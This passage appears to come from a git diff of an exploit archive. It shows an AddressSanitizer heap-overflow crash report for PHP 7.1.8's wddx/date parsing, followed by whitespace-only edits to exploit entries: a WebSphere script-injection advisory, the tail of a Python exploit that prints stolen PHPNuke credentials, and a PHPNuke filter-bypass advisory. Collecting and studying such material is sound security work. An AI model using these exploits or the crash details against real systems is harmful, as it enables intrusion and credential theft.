[0xb57057f0,0xb57057fc) +allocated by thread T0 here: + #0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854) + #1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820 + #2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413 + #3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472 + #4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495 + #5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460 + #6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215 + #7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 + #8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 + #9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 + #10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 + #11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 + #12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 + #13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 + #14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 + #15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 + #16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 + #17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 + #18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 + #19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 + #20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 + #21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 + #22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 + #23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 + #24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) +SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian +Shadow bytes around the buggy address: + 0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +=>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04] + 0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Heap righ redzone: fb + Freed Heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack partial redzone: f4 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + ASan internal: fe +==13788== ABORTING +Aborted +*/ \ No newline at end of file diff --git a/platforms/multiple/remote/28981.txt b/platforms/multiple/remote/28981.txt index 866a6bd6a..161ce5d90 100755 --- a/platforms/multiple/remote/28981.txt +++ b/platforms/multiple/remote/28981.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code execute in the WebSphere Application Server 6 is vulnerable; other versions may also be affected. -GET / HTTP/1.1 \ No newline at end of file +GET / HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/1317.py b/platforms/php/webapps/1317.py index adce96a7c..00a0f67bc 100755 --- a/platforms/php/webapps/1317.py +++ b/platforms/php/webapps/1317.py @@ -62,4 +62,4 @@ passwd=conf[:conf.find("'")] print '[+]Exploit Succeed' print '[+]User :', user, 'Pass :', passwd -# milw0rm.com [2005-11-13] \ No newline at end of file +# milw0rm.com [2005-11-13] \ No newline at end of file diff --git a/platforms/php/webapps/26817.txt b/platforms/php/webapps/26817.txt index 23fbf77f9..f18c234e3 100755 --- a/platforms/php/webapps/26817.txt +++ b/platforms/php/webapps/26817.txt @@ -1,4 +1,4 @@ - source: http://www.securityfocus.com/bid/15855/info +source: http://www.securityfocus.com/bid/15855/info PHPNuke is prone to a content filtering bypass vulnerability. This issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks. @@ -12,4 +12,4 @@ Insert: URI: http://www.example.com/[DIR]//modules.php?name=Web_Links Insert: -